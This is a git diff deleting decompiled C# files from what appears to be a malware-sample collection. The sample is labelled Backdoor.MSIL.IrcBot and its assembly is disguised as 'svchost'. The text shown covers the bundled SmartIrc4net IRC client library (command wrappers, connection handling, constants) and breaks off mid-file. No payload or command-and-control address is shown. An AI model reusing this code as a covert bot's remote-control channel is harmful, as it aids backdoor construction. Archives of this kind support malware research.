RfcWhowas(string[] nicknames, string count, string target, Priority priority) => this.WriteLine(Rfc2812.Whowas(nicknames, count, target), priority); - - public void RfcWhowas(string[] nicknames, string count, string target) => this.WriteLine(Rfc2812.Whowas(nicknames, count, target)); - - public void RfcKill(string nickname, string comment, Priority priority) => this.WriteLine(Rfc2812.Kill(nickname, comment), priority); - - public void RfcKill(string nickname, string comment) => this.WriteLine(Rfc2812.Kill(nickname, comment)); - - public void RfcPing(string server, Priority priority) => this.WriteLine(Rfc2812.Ping(server), priority); - - public void RfcPing(string server) => this.WriteLine(Rfc2812.Ping(server)); - - public void RfcPing(string server, string server2, Priority priority) => this.WriteLine(Rfc2812.Ping(server, server2), priority); - - public void RfcPing(string server, string server2) => this.WriteLine(Rfc2812.Ping(server, server2)); - - public void RfcPong(string server, Priority priority) => this.WriteLine(Rfc2812.Pong(server), priority); - - public void RfcPong(string server) => this.WriteLine(Rfc2812.Pong(server)); - - public void RfcPong(string server, string server2, Priority priority) => this.WriteLine(Rfc2812.Pong(server, server2), priority); - - public void RfcPong(string server, string server2) => this.WriteLine(Rfc2812.Pong(server, server2)); - - public void RfcAway(Priority priority) => this.WriteLine(Rfc2812.Away(), priority); - - public void RfcAway() => this.WriteLine(Rfc2812.Away()); - - public void RfcAway(string awaytext, Priority priority) => this.WriteLine(Rfc2812.Away(awaytext), priority); - - public void RfcAway(string awaytext) => this.WriteLine(Rfc2812.Away(awaytext)); - - public void RfcRehash() => this.WriteLine(Rfc2812.Rehash()); - - public void RfcDie() => this.WriteLine(Rfc2812.Die()); - - public void RfcRestart() => this.WriteLine(Rfc2812.Restart()); - - public void RfcSummon(string user, Priority priority) => this.WriteLine(Rfc2812.Summon(user), priority); - - public void RfcSummon(string user) => this.WriteLine(Rfc2812.Summon(user)); - - public void RfcSummon(string user, string target, Priority priority) => this.WriteLine(Rfc2812.Summon(user, target), priority); - - public void RfcSummon(string user, string target) => this.WriteLine(Rfc2812.Summon(user, target)); - - public void RfcSummon(string user, string target, string channel, Priority priority) => this.WriteLine(Rfc2812.Summon(user, target, channel), priority); - - public void RfcSummon(string user, string target, string channel) => this.WriteLine(Rfc2812.Summon(user, target, channel)); - - public void RfcUsers(Priority priority) => this.WriteLine(Rfc2812.Users(), priority); - - public void RfcUsers() => this.WriteLine(Rfc2812.Users()); - - public void RfcUsers(string target, Priority priority) => this.WriteLine(Rfc2812.Users(target), priority); - - public void RfcUsers(string target) => this.WriteLine(Rfc2812.Users(target)); - - public void RfcWallops(string wallopstext, Priority priority) => this.WriteLine(Rfc2812.Wallops(wallopstext), priority); - - public void RfcWallops(string wallopstext) => this.WriteLine(Rfc2812.Wallops(wallopstext)); - - public void RfcUserhost(string nickname, Priority priority) => this.WriteLine(Rfc2812.Userhost(nickname), priority); - - public void RfcUserhost(string nickname) => this.WriteLine(Rfc2812.Userhost(nickname)); - - public void RfcUserhost(string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Userhost(nicknames), priority); - - public void RfcUserhost(string[] nicknames) => this.WriteLine(Rfc2812.Userhost(nicknames)); - - public void RfcIson(string nickname, Priority priority) => this.WriteLine(Rfc2812.Ison(nickname), priority); - - public void RfcIson(string nickname) => this.WriteLine(Rfc2812.Ison(nickname)); - - public void RfcIson(string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Ison(nicknames), priority); - - public void RfcIson(string[] nicknames) => this.WriteLine(Rfc2812.Ison(nicknames)); - - public void RfcQuit(Priority priority) => this.WriteLine(Rfc2812.Quit(), priority); - - public void RfcQuit() => this.WriteLine(Rfc2812.Quit()); - - public void RfcQuit(string quitmessage, Priority priority) => this.WriteLine(Rfc2812.Quit(quitmessage), priority); - - public void RfcQuit(string quitmessage) => this.WriteLine(Rfc2812.Quit(quitmessage)); - - public void RfcSquit(string server, string comment, Priority priority) => this.WriteLine(Rfc2812.Squit(server, comment), priority); - - public void RfcSquit(string server, string comment) => this.WriteLine(Rfc2812.Squit(server, comment)); - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcConnection.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcConnection.cs deleted file mode 100644 index fa65a337..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcConnection.cs +++ /dev/null @@ -1,834 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.IrcConnection -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using Starksoft.Net.Proxy; -using System; -using System.Collections; -using System.IO; -using System.Net; -using System.Net.Security; -using System.Net.Sockets; -using System.Reflection; -using System.Security.Authentication; -using System.Security.Cryptography.X509Certificates; -using System.Text; -using System.Threading; - -namespace Meebey.SmartIrc4net -{ - public class IrcConnection - { - private string _VersionNumber; - private string _VersionString; - private string[] _AddressList = new string[1] - { - "localhost" - }; - private int _CurrentAddress; - private int _Port; - private bool _UseSsl; - private bool _ValidateServerCertificate; - private X509Certificate _SslClientCertificate; - private StreamReader _Reader; - private StreamWriter _Writer; - private IrcConnection.ReadThread _ReadThread; - private IrcConnection.WriteThread _WriteThread; - private IrcConnection.IdleWorkerThread _IdleWorkerThread; - private TcpClient _TcpClient; - private Hashtable _SendBuffer = Hashtable.Synchronized(new Hashtable()); - private int _SendDelay = 200; - private bool _IsRegistered; - private bool _IsConnected; - private bool _IsConnectionError; - private bool _IsDisconnecting; - private int _AutoRetryAttempt; - private bool _AutoRetry; - private int _AutoRetryDelay = 30; - private int _AutoRetryLimit = 3; - private bool _AutoReconnect; - private Encoding _Encoding = Encoding.Default; - private int _SocketReceiveTimeout = 600; - private int _SocketSendTimeout = 600; - private int _IdleWorkerInterval = 60; - private int _PingInterval = 60; - private int _PingTimeout = 300; - private DateTime _LastPingSent; - private DateTime _LastPongReceived; - private TimeSpan _Lag; - private string _ProxyHost; - private int _ProxyPort; - private ProxyType _ProxyType; - private string _ProxyUsername; - private string _ProxyPassword; - - public event ReadLineEventHandler OnReadLine; - - public event WriteLineEventHandler OnWriteLine; - - public event EventHandler OnConnecting; - - public event EventHandler OnConnected; - - public event EventHandler OnDisconnecting; - - public event EventHandler OnDisconnected; - - public event EventHandler OnConnectionError; - - public event AutoConnectErrorEventHandler OnAutoConnectError; - - protected bool IsConnectionError - { - get - { - lock (this) - return this._IsConnectionError; - } - set - { - lock (this) - this._IsConnectionError = value; - } - } - - protected bool IsDisconnecting - { - get - { - lock (this) - return this._IsDisconnecting; - } - set - { - lock (this) - this._IsDisconnecting = value; - } - } - - public string Address => this._AddressList[this._CurrentAddress]; - - public string[] AddressList => this._AddressList; - - public int Port => this._Port; - - public bool AutoReconnect - { - get => this._AutoReconnect; - set => this._AutoReconnect = value; - } - - public bool AutoRetry - { - get => this._AutoRetry; - set => this._AutoRetry = value; - } - - public int AutoRetryDelay - { - get => this._AutoRetryDelay; - set => this._AutoRetryDelay = value; - } - - public int AutoRetryLimit - { - get => this._AutoRetryLimit; - set => this._AutoRetryLimit = value; - } - - public int AutoRetryAttempt => this._AutoRetryAttempt; - - public int SendDelay - { - get => this._SendDelay; - set => this._SendDelay = value; - } - - public bool IsRegistered => this._IsRegistered; - - public bool IsConnected => this._IsConnected; - - public string VersionNumber => this._VersionNumber; - - public string VersionString => this._VersionString; - - public Encoding Encoding - { - get => this._Encoding; - set => this._Encoding = value; - } - - public bool UseSsl - { - get => this._UseSsl; - set => this._UseSsl = value; - } - - public bool ValidateServerCertificate - { - get => this._ValidateServerCertificate; - set => this._ValidateServerCertificate = value; - } - - public X509Certificate SslClientCertificate - { - get => this._SslClientCertificate; - set => this._SslClientCertificate = value; - } - - public int SocketReceiveTimeout - { - get => this._SocketReceiveTimeout; - set => this._SocketReceiveTimeout = value; - } - - public int SocketSendTimeout - { - get => this._SocketSendTimeout; - set => this._SocketSendTimeout = value; - } - - public int IdleWorkerInterval - { - get => this._IdleWorkerInterval; - set => this._IdleWorkerInterval = value; - } - - public int PingInterval - { - get => this._PingInterval; - set => this._PingInterval = value; - } - - public int PingTimeout - { - get => this._PingTimeout; - set => this._PingTimeout = value; - } - - public TimeSpan Lag => this._LastPingSent > this._LastPongReceived ? DateTime.Now - this._LastPingSent : this._Lag; - - public string ProxyHost - { - get => this._ProxyHost; - set => this._ProxyHost = value; - } - - public int ProxyPort - { - get => this._ProxyPort; - set => this._ProxyPort = value; - } - - public ProxyType ProxyType - { - get => this._ProxyType; - set => this._ProxyType = value; - } - - public string ProxyUsername - { - get => this._ProxyUsername; - set => this._ProxyUsername = value; - } - - public string ProxyPassword - { - get => this._ProxyPassword; - set => this._ProxyPassword = value; - } - - public IrcConnection() - { - this._SendBuffer[(object) Priority.High] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue()); - this._SendBuffer[(object) Priority.AboveMedium] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue()); - this._SendBuffer[(object) Priority.Medium] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue()); - this._SendBuffer[(object) Priority.BelowMedium] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue()); - this._SendBuffer[(object) Priority.Low] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue()); - this.OnReadLine += new ReadLineEventHandler(this._SimpleParser); - this.OnConnectionError += new EventHandler(this._OnConnectionError); - this._ReadThread = new IrcConnection.ReadThread(this); - this._WriteThread = new IrcConnection.WriteThread(this); - this._IdleWorkerThread = new IrcConnection.IdleWorkerThread(this); - Assembly assembly = Assembly.GetAssembly(this.GetType()); - AssemblyName name = assembly.GetName(false); - AssemblyProductAttribute customAttribute = (AssemblyProductAttribute) assembly.GetCustomAttributes(typeof (AssemblyProductAttribute), false)[0]; - this._VersionNumber = name.Version.ToString(); - this._VersionString = customAttribute.Product + " " + this._VersionNumber; - } - - public void Connect(string[] addresslist, int port) - { - if (this._IsConnected) - throw new AlreadyConnectedException("Already connected to: " + this.Address + ":" + (object) this.Port); - ++this._AutoRetryAttempt; - this._AddressList = (string[]) addresslist.Clone(); - this._Port = port; - if (this.OnConnecting != null) - this.OnConnecting((object) this, EventArgs.Empty); - try - { - IPAddress address = Dns.Resolve(this.Address).AddressList[0]; - this._TcpClient = new TcpClient(); - this._TcpClient.NoDelay = true; - this._TcpClient.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, 1); - this._TcpClient.ReceiveTimeout = this._SocketReceiveTimeout * 1000; - this._TcpClient.SendTimeout = this._SocketSendTimeout * 1000; - if (this._ProxyType != ProxyType.None) - { - ProxyClientFactory proxyClientFactory = new ProxyClientFactory(); - Starksoft.Net.Proxy.ProxyType type = (Starksoft.Net.Proxy.ProxyType) System.Enum.Parse(typeof (ProxyType), this._ProxyType.ToString(), true); - IProxyClient proxyClient = this._ProxyUsername != null || this._ProxyPassword != null ? proxyClientFactory.CreateProxyClient(type, this._ProxyHost, this._ProxyPort, this._ProxyUsername, this._ProxyPassword) : proxyClientFactory.CreateProxyClient(type); - this._TcpClient.Connect(this._ProxyHost, this._ProxyPort); - proxyClient.TcpClient = this._TcpClient; - proxyClient.CreateConnection(address.ToString(), port); - } - else - this._TcpClient.Connect(address, port); - Stream stream = (Stream) this._TcpClient.GetStream(); - if (this._UseSsl) - { - RemoteCertificateValidationCallback userCertificateValidationCallback = !this._ValidateServerCertificate ? (RemoteCertificateValidationCallback) delegate - { - return true; - } : (RemoteCertificateValidationCallback) ((sender, certificate, chain, sslPolicyErrors) => sslPolicyErrors == SslPolicyErrors.None); - SslStream sslStream = new SslStream(stream, false, userCertificateValidationCallback); - try - { - if (this._SslClientCertificate != null) - { - X509Certificate2Collection clientCertificates = new X509Certificate2Collection(); - clientCertificates.Add(this._SslClientCertificate); - sslStream.AuthenticateAsClient(this.Address, (X509CertificateCollection) clientCertificates, SslProtocols.Default, false); - } - else - sslStream.AuthenticateAsClient(this.Address); - } - catch (IOException ex) - { - throw new CouldNotConnectException("Could not connect to: " + this.Address + ":" + (object) this.Port + " " + ex.Message, (Exception) ex); - } - stream = (Stream) sslStream; - } - this._Reader = new StreamReader(stream, this._Encoding); - this._Writer = new StreamWriter(stream, this._Encoding); - if (this._Encoding.GetPreamble().Length > 0) - { - this._Writer.WriteLine(); - this._Writer.Flush(); - } - this._AutoRetryAttempt = 0; - this.IsConnectionError = false; - this._IsConnected = true; - this._ReadThread.Start(); - this._WriteThread.Start(); - this._IdleWorkerThread.Start(); - if (this.OnConnected == null) - return; - this.OnConnected((object) this, EventArgs.Empty); - } - catch (AuthenticationException ex) - { - throw new CouldNotConnectException("Could not connect to: " + this.Address + ":" + (object) this.Port + " " + ex.Message, (Exception) ex); - } - catch (Exception ex1) - { - if (this._Reader != null) - { - try - { - this._Reader.Close(); - } - catch (ObjectDisposedException ex2) - { - } - } - if (this._Writer != null) - { - try - { - this._Writer.Close(); - } - catch (ObjectDisposedException ex3) - { - } - } - if (this._TcpClient != null) - this._TcpClient.Close(); - this._IsConnected = false; - this.IsConnectionError = true; - if (ex1 is CouldNotConnectException) - throw; - else if (this._AutoRetry && (this._AutoRetryLimit == -1 || this._AutoRetryLimit == 0 || this._AutoRetryLimit <= this._AutoRetryAttempt)) - { - if (this.OnAutoConnectError != null) - this.OnAutoConnectError((object) this, new AutoConnectErrorEventArgs(this.Address, this.Port, ex1)); - Thread.Sleep(this._AutoRetryDelay * 1000); - this._NextAddress(); - this.Connect(this._AddressList, this._Port); - } - else - throw new CouldNotConnectException("Could not connect to: " + this.Address + ":" + (object) this.Port + " " + ex1.Message, ex1); - } - } - - public void Connect(string address, int port) => this.Connect(new string[1] - { - address - }, port); - - public void Reconnect() - { - this.Disconnect(); - this.Connect(this._AddressList, this._Port); - } - - public void Disconnect() - { - if (!this.IsConnected) - throw new NotConnectedException("The connection could not be disconnected because there is no active connection"); - if (this.OnDisconnecting != null) - this.OnDisconnecting((object) this, EventArgs.Empty); - this.IsDisconnecting = true; - this._ReadThread.Stop(); - this._WriteThread.Stop(); - this._TcpClient.Close(); - this._IsConnected = false; - this._IsRegistered = false; - this.IsDisconnecting = false; - if (this.OnDisconnected == null) - return; - this.OnDisconnected((object) this, EventArgs.Empty); - } - - public void Listen(bool blocking) - { - if (blocking) - { - while (this.IsConnected) - this.ReadLine(true); - } - else - { - do - ; - while (this.ReadLine(false).Length > 0); - } - } - - public void Listen() => this.Listen(true); - - public void ListenOnce(bool blocking) => this.ReadLine(blocking); - - public void ListenOnce() => this.ListenOnce(true); - - public string ReadLine(bool blocking) - { - string line = ""; - if (blocking) - { - while (this.IsConnected && !this.IsConnectionError && this._ReadThread.Queue.Count == 0) - Thread.Sleep(10); - } - if (this.IsConnected && this._ReadThread.Queue.Count > 0) - line = (string) this._ReadThread.Queue.Dequeue(); - if (line != null && line.Length > 0 && this.OnReadLine != null) - this.OnReadLine((object) this, new ReadLineEventArgs(line)); - if (this.IsConnectionError && !this.IsDisconnecting && this.OnConnectionError != null) - this.OnConnectionError((object) this, EventArgs.Empty); - return line; - } - - public void WriteLine(string data, Priority priority) - { - try - { - if (priority == Priority.Critical) - { - if (!this.IsConnected) - throw new NotConnectedException(); - this._WriteLine(data); - } - else - ((System.Collections.Queue) this._SendBuffer[(object) priority]).Enqueue((object) data); - } - catch - { - } - } - - public void WriteLine(string data) => this.WriteLine(data, Priority.Medium); - - private bool _WriteLine(string data) - { - if (!this.IsConnected) - return false; - try - { - this._Writer.Write(data + "\r\n"); - this._Writer.Flush(); - } - catch (IOException ex) - { - this.IsConnectionError = true; - return false; - } - catch (ObjectDisposedException ex) - { - this.IsConnectionError = true; - return false; - } - if (this.OnWriteLine != null) - this.OnWriteLine((object) this, new WriteLineEventArgs(data)); - return true; - } - - private void _NextAddress() - { - ++this._CurrentAddress; - if (this._CurrentAddress < this._AddressList.Length) - return; - this._CurrentAddress = 0; - } - - private void _SimpleParser(object sender, ReadLineEventArgs args) - { - string line = args.Line; - string[] strArray = line.Split(' '); - if (line[0] == ':') - { - string s = strArray[1]; - ReplyCode replyCode = ReplyCode.Null; - try - { - replyCode = (ReplyCode) int.Parse(s); - } - catch (FormatException ex) - { - } - switch (replyCode) - { - case ReplyCode.Null: - switch (strArray[1]) - { - case "PONG": - DateTime now = DateTime.Now; - this._LastPongReceived = now; - this._Lag = now - this._LastPingSent; - return; - case null: - return; - default: - return; - } - case ReplyCode.Welcome: - this._IsRegistered = true; - break; - } - } - else - { - string str; - if ((str = strArray[0]) == null) - return; - int num = str == "ERROR" ? 1 : 0; - } - } - - private void _OnConnectionError(object sender, EventArgs e) - { - try - { - if (this.AutoReconnect) - this.Reconnect(); - else - this.Disconnect(); - } - catch (ConnectionException ex) - { - } - } - - private class ReadThread - { - private IrcConnection _Connection; - private Thread _Thread; - private System.Collections.Queue _Queue = System.Collections.Queue.Synchronized(new System.Collections.Queue()); - - public System.Collections.Queue Queue => this._Queue; - - public ReadThread(IrcConnection connection) => this._Connection = connection; - - public void Start() - { - this._Thread = new Thread(new ThreadStart(this._Worker)); - this._Thread.Name = "ReadThread (" + this._Connection.Address + ":" + (object) this._Connection.Port + ")"; - this._Thread.IsBackground = true; - this._Thread.Start(); - } - - public void Stop() - { - this._Thread.Abort(); - this._Thread.Join(); - try - { - this._Connection._Reader.Close(); - } - catch (ObjectDisposedException ex) - { - } - } - - private void _Worker() - { - try - { - try - { - string str; - while (this._Connection.IsConnected && (str = this._Connection._Reader.ReadLine()) != null) - this._Queue.Enqueue((object) str); - } - catch (IOException ex) - { - } - finally - { - if (!this._Connection.IsDisconnecting) - this._Connection.IsConnectionError = true; - } - } - catch (ThreadAbortException ex) - { - Thread.ResetAbort(); - } - catch (Exception ex) - { - } - } - } - - private class WriteThread - { - private IrcConnection _Connection; - private Thread _Thread; - private int _HighCount; - private int _AboveMediumCount; - private int _MediumCount; - private int _BelowMediumCount; - private int _LowCount; - private int _AboveMediumSentCount; - private int _MediumSentCount; - private int _BelowMediumSentCount; - private int _AboveMediumThresholdCount = 4; - private int _MediumThresholdCount = 2; - private int _BelowMediumThresholdCount = 1; - private int _BurstCount; - - public WriteThread(IrcConnection connection) => this._Connection = connection; - - public void Start() - { - this._Thread = new Thread(new ThreadStart(this._Worker)); - this._Thread.Name = "WriteThread (" + this._Connection.Address + ":" + (object) this._Connection.Port + ")"; - this._Thread.IsBackground = true; - this._Thread.Start(); - } - - public void Stop() - { - this._Thread.Abort(); - this._Thread.Join(); - try - { - this._Connection._Writer.Close(); - } - catch (ObjectDisposedException ex) - { - } - } - - private void _Worker() - { - try - { - try - { - while (this._Connection.IsConnected) - { - this._CheckBuffer(); - Thread.Sleep(this._Connection._SendDelay); - } - } - catch (IOException ex) - { - } - finally - { - if (!this._Connection.IsDisconnecting) - this._Connection.IsConnectionError = true; - } - } - catch (ThreadAbortException ex) - { - Thread.ResetAbort(); - } - catch (Exception ex) - { - } - } - - private void _CheckBuffer() - { - if (!this._Connection._IsRegistered) - return; - this._HighCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.High]).Count; - this._AboveMediumCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.AboveMedium]).Count; - this._MediumCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Medium]).Count; - this._BelowMediumCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.BelowMedium]).Count; - this._LowCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Low]).Count; - if (this._CheckHighBuffer() && this._CheckAboveMediumBuffer() && this._CheckMediumBuffer() && this._CheckBelowMediumBuffer() && this._CheckLowBuffer()) - { - this._AboveMediumSentCount = 0; - this._MediumSentCount = 0; - this._BelowMediumSentCount = 0; - this._BurstCount = 0; - } - if (this._BurstCount >= 3) - return; - ++this._BurstCount; - } - - private bool _CheckHighBuffer() - { - if (this._HighCount > 0) - { - string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.High]).Dequeue(); - if (!this._Connection._WriteLine(data)) - ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.High]).Enqueue((object) data); - if (this._HighCount > 1) - return false; - } - return true; - } - - private bool _CheckAboveMediumBuffer() - { - if (this._AboveMediumCount > 0 && this._AboveMediumSentCount < this._AboveMediumThresholdCount) - { - string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.AboveMedium]).Dequeue(); - if (!this._Connection._WriteLine(data)) - ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.AboveMedium]).Enqueue((object) data); - ++this._AboveMediumSentCount; - if (this._AboveMediumSentCount < this._AboveMediumThresholdCount) - return false; - } - return true; - } - - private bool _CheckMediumBuffer() - { - if (this._MediumCount > 0 && this._MediumSentCount < this._MediumThresholdCount) - { - string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Medium]).Dequeue(); - if (!this._Connection._WriteLine(data)) - ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Medium]).Enqueue((object) data); - ++this._MediumSentCount; - if (this._MediumSentCount < this._MediumThresholdCount) - return false; - } - return true; - } - - private bool _CheckBelowMediumBuffer() - { - if (this._BelowMediumCount > 0 && this._BelowMediumSentCount < this._BelowMediumThresholdCount) - { - string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.BelowMedium]).Dequeue(); - if (!this._Connection._WriteLine(data)) - ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.BelowMedium]).Enqueue((object) data); - ++this._BelowMediumSentCount; - if (this._BelowMediumSentCount < this._BelowMediumThresholdCount) - return false; - } - return true; - } - - private bool _CheckLowBuffer() - { - if (this._LowCount > 0 && this._HighCount <= 0 && this._AboveMediumCount <= 0 && this._MediumCount <= 0 && this._BelowMediumCount <= 0) - { - string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Low]).Dequeue(); - if (!this._Connection._WriteLine(data)) - ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Low]).Enqueue((object) data); - if (this._LowCount > 1) - return false; - } - return true; - } - } - - private class IdleWorkerThread - { - private IrcConnection _Connection; - private Thread _Thread; - - public IdleWorkerThread(IrcConnection connection) => this._Connection = connection; - - public void Start() - { - DateTime now = DateTime.Now; - this._Connection._LastPingSent = now; - this._Connection._LastPongReceived = now; - this._Thread = new Thread(new ThreadStart(this._Worker)); - this._Thread.Name = "IdleWorkerThread (" + this._Connection.Address + ":" + (object) this._Connection.Port + ")"; - this._Thread.IsBackground = true; - this._Thread.Start(); - } - - public void Stop() => this._Thread.Abort(); - - private void _Worker() - { - try - { - while (this._Connection.IsConnected) - { - Thread.Sleep(this._Connection._IdleWorkerInterval); - if (this._Connection.IsRegistered) - { - DateTime now = DateTime.Now; - int totalSeconds1 = (int) (now - this._Connection._LastPingSent).TotalSeconds; - int totalSeconds2 = (int) (now - this._Connection._LastPongReceived).TotalSeconds; - if (totalSeconds1 < this._Connection._PingTimeout) - { - if (!(this._Connection._LastPingSent > this._Connection._LastPongReceived) && totalSeconds2 > this._Connection._PingInterval) - { - this._Connection.WriteLine(Rfc2812.Ping(this._Connection.Address), Priority.Critical); - this._Connection._LastPingSent = now; - } - } - else - { - if (this._Connection.IsDisconnecting) - break; - this._Connection.IsConnectionError = true; - break; - } - } - } - } - catch (ThreadAbortException ex) - { - Thread.ResetAbort(); - } - catch (Exception ex) - { - } - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcConstants.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcConstants.cs deleted file mode 100644 index b29d1d43..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcConstants.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.IrcConstants -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class IrcConstants - { - public const char CtcpChar = '\u0001'; - public const char IrcBold = '\u0002'; - public const char IrcColor = '\u0003'; - public const char IrcReverse = '\u0016'; - public const char IrcNormal = '\u000F'; - public const char IrcUnderline = '\u001F'; - public const char CtcpQuoteChar = ' '; - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcEventArgs.cs deleted file mode 100644 index dadd7956..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcEventArgs.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.IrcEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; - -namespace Meebey.SmartIrc4net -{ - public class IrcEventArgs : EventArgs - { - private readonly IrcMessageData _Data; - - public IrcMessageData Data => this._Data; - - internal IrcEventArgs(IrcMessageData data) => this._Data = data; - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcEventHandler.cs deleted file mode 100644 index 122455b5..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.IrcEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void IrcEventHandler(object sender, IrcEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcFeatures.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcFeatures.cs deleted file mode 100644 index 24d1ee03..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcFeatures.cs +++ /dev/null @@ -1,342 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.IrcFeatures -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IO; -using System.Net; -using System.Threading; - -namespace Meebey.SmartIrc4net -{ - public class IrcFeatures : IrcClient - { - private IPAddress _ExternalIpAdress; - private List _DccConnections = new List(); - private Dictionary _CtcpDelegates = new Dictionary((IEqualityComparer) 